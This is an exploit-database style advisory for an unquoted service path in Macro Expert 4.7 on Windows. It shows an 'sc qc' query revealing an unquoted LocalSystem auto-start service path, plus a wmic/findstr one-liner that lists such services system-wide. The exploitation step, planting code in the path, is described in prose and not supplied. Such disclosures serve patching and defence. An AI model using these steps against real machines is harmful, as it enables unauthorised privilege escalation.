Macro expert 4.7 unquoted service path Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-10-20 | Type : local | Platform : windows
This exploit / vulnerability Macro expert 4.7 unquoted service path is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: Macro Expert 4.7 - Unquoted Service Path
# Exploit Author: Mert DAŞ
# Version: 4.7
# Date: 20.10.2021
# Vendor Homepage: http://www.macro-expert.com/
# Tested on: Windows 10

C:\Users\Mert>sc qc "Macro Expert"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Macro Expert
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : c:\program files (x86)\grasssoft\macro
expert\MacroService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Macro Expert
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
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Or:
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C:\Users\Mert>wmic service get name,displayname,pathname,startmode |findstr
/i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """


#Exploit:

A successful attempt would require the local user to be able to insert
their code in the system root path undetected by the OS or other security
applications where it could potentially be executed during application
startup or reboot. If successful, the local user's code would execute with
the elevated privileges of the application.